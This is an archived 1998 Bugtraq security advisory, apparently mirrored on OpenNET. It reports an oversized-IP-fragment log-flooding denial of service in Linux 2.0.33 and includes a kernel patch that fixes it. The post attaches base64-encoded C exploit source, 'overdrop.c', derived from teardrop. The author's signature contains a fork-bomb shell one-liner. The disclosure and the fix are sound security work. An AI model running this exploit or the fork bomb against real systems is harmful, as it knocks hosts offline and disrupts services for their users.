The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Новость: Новая программа: MIMEDefang - универсальный почтовый фильтр
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

Linux 2.0.33 vulnerability: oversized packets


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
X-RDate: Tue, 21 Apr 1998 13:02:35 +0600 (YEKST)
X-UIDL: 35317d3400000097
Date: Fri, 17 Apr 1998 17:21:25 +0200
From: Michal Zalewski <lcamtuf@BOSS.STASZIC.WAW.PL>
To: BUGTRAQ@NETSPACE.ORG
Subject: Linux 2.0.33 vulnerability: oversized packets

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--8323328-871852648-892826485=:211
Content-Type: TEXT/PLAIN; charset=US-ASCII

I'm not sure if it's known, but I haven't found anything about it.
No matter, there's something strange in net/ipv4/ip_fragment.h (it's
probably Alan's fault):

[ in function ip_glue ]

if(len>65535)
{
        printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr));
        ip_statistics.IpReasmFails++;
        ip_free(qp);
        return NULL;
}

Right, printk with no NETDEBUG nor anything else. So, there's potential
DoS attack - I wrote simple exploit by modyfying teardrop source (mainly,
fragmentation offset of second packet = 0xFFFF), and it's quite nasty (see
attachment).

Fix:

--- ip_fragment.c.orig  Fri Apr 17 16:42:38 1998
+++ ip_fragment.c       Fri Apr 17 17:17:15 1998
@@ -345,7 +345,7 @@

        if(len>65535)
        {
-               printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr));
+               NETDEBUG(printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr)));
                ip_statistics.IpReasmFails++;
                ip_free(qp);
                return NULL;


_______________________________________________________________________
Michal Zalewski [lcamtuf@boss.staszic.waw.pl] <= finger for pub PGP key
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
[echo "\$0&\$0">_;chmod +x _;./_] <=------=> [tel +48 (0) 22 813 25 86]

--8323328-871852648-892826485=:211
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="overdrop.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.3.96.980417172125.211B@genome>
Content-Description:

Ly8gb3ZlcmRyb3AgYnkgbGNhbXR1ZiBbTGludXggMi4wLjMzIHByaW50ayBh
YnVzZV0NCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLQ0KLy8gYmFzZWQgb24gKHJlYXBlZCBmcm9tKSB0ZWFy
ZHJvcCBieSByb3V0ZXxkYWVtb245DQoNCiNpbmNsdWRlIDxzdGRpby5oPg0K
I2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2lu
Y2x1ZGUgPHN0cmluZy5oPg0KI2luY2x1ZGUgPG5ldGRiLmg+DQojaW5jbHVk
ZSA8bmV0aW5ldC9pbi5oPg0KI2luY2x1ZGUgPG5ldGluZXQvdWRwLmg+DQoj
aW5jbHVkZSA8YXJwYS9pbmV0Lmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+
DQojaW5jbHVkZSA8c3lzL3RpbWUuaD4NCiNpbmNsdWRlIDxzeXMvc29ja2V0
Lmg+DQoNCiNkZWZpbmUgSVBfTUYJMHgyMDAwDQojZGVmaW5lIElQSAkweDE0
DQojZGVmaW5lIFVEUEgJMHg4DQojZGVmaW5lIFBBRERJTkcJMHgxYw0KI2Rl
ZmluZSBNQUdJQwkweDMNCiNkZWZpbmUgQ09VTlQJMHhCRUVGDQojZGVmaW5l
IEZSQUcyCTB4RkZGRg0KDQp2b2lkIHVzYWdlKGNoYXIgKm5hbWUpIHsNCiAg
ZnByaW50ZihzdGRlcnIsIiVzIG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yaXBf
c29jayxyYW5kKCksZHN0X2lwLHJhbmQoKSxyYW5kKCkpOyBlbHNlDQogICAg
ICBzZW5kX2ZyYWdzKHJpcF9zb2NrLHNyY19pcCxkc3RfaXAscmFuZCgpLHJh
bmQoKSk7DQogICAgZnByaW50ZihzdGRlcnIsICJiMDB6ICIpOw0KICAgIHVz
bGVlcCg1MDApOw0KICB9DQogIGZwcmludGYoc3RkZXJyLCAiXVxuIik7DQog
IHJldHVybiAoMCk7DQp9DQo=
--8323328-871852648-892826485=:211--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network.
RB2 Network.